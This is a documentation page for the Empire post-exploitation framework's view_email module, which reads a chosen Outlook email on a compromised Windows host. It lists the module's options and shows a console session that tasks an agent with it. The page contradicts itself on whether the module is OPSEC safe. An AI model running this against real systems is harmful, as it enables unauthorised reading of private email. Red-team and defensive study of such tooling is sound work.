View-Email - Empire Module

This page contains detailed information about how to use the powershell/management/mailraider/view_email Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

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Name: View-Email
Module: powershell/management/mailraider/view_email
Source code [1]: empire/server/modules/powershell/management/mailraider/view_email.yaml
Source code [2]: empire/server/data/module_source/management/MailRaider.ps1
MITRE ATT&CK: T1114
Language: PowerShell
Needs admin: No
OPSEC safe: Yes
Background: Yes

The view_email module selects the specified folder and then outputs the email item at the specified index.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the view_email module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

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This is a list of options that are required by the view_email module:

Agent
Agent to run module on.

FolderName
The Name of the Outlook Default Folder.
Default value: Inbox.

Index
Index of the Email item within the selected folder to display.

Additional Module Options

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This is a list of additional options that are supported by the view_email module:

OutputFunction
PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
Default value: Out-String.
Suggested values: Out-String, ConvertTo-Json, ConvertTo-Csv, ConvertTo-Html, ConvertTo-Xml.

View_email Example Usage

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Here's an example of how to use the view_email module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/management/mailraider/view_email

 Author       @xorrior                                                            
 Background   True                                                                
 Comments     https://github.com/xorrior/EmailRaider                              
              http://www.xorrior.com/phishing-on-the-inside/                      
 Description  Selects the specified folder and then outputs the email item at the 
              specified index.                                                    
 Language     powershell                                                          
 Name         powershell/management/mailraider/view_email                         
 NeedsAdmin   False                                                               
 OpsecSafe    True                                                                
 Techniques   http://attack.mitre.org/techniques/T1114                            


,Record Options--,------------,----------,-------------------------------------,
| Name           | Value      | Required | Description                         |
|----------------|------------|----------|-------------------------------------|
| Agent          |            | True     | Agent to run module on.             |
|----------------|------------|----------|-------------------------------------|
| FolderName     | Inbox      | True     | The Name of the Outlook Default     |
|                |            |          | Folder.                             |
|----------------|------------|----------|-------------------------------------|
| Index          | 0          | True     | Index of the Email item within the  |
|                |            |          | selected folder to display.         |
|----------------|------------|----------|-------------------------------------|
| OutputFunction | Out-String | False    | PowerShell's output function to use |
|                |            |          | ("Out-String", "ConvertTo-Json",    |
|                |            |          | "ConvertTo-Csv", "ConvertTo-Html",  |
|                |            |          | "ConvertTo-Xml").                   |
'----------------'------------'----------'-------------------------------------'

(Empire: usemodule/powershell/management/mailraider/view_email) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/management/mailraider/view_email) > set FolderName Inbox
[*] Set FolderName to Inbox
(Empire: usemodule/powershell/management/mailraider/view_email) > set Index value
[*] Set Index to value
(Empire: usemodule/powershell/management/mailraider/view_email) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author

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• @xorrior

References

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• https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/management/mailraider/view_email.yaml
• https://github.com/BC-SECURITY/Empire/tree/master/empire/server/data/module_source/management/MailRaider.ps1
• https://github.com/xorrior/EmailRaider
• http://www.xorrior.com/phishing-on-the-inside/
• http://attack.mitre.org/techniques/T1114
• http://bigorg.com/projections.xls
• https://social.technet.microsoft.com/forums/windowsserver/en-US/6b25cbd2-2bff-4820-ab53-796e306066eb/defining-custom-outlook-rules-using-powershell
• https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerView/powerview.ps1#L5672

See Also

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Check also the following modules related to this module:

• powershell/management/mailraider/get_subfolders
• powershell/management/mailraider/mail_search
• powershell/management/mailraider/send_mail
• powershell/management/mailraider/search_gal
• powershell/management/mailraider/get_emailitems
• powershell/management/mailraider/disable_security
• python/collection/osx/search_email

Version

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This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.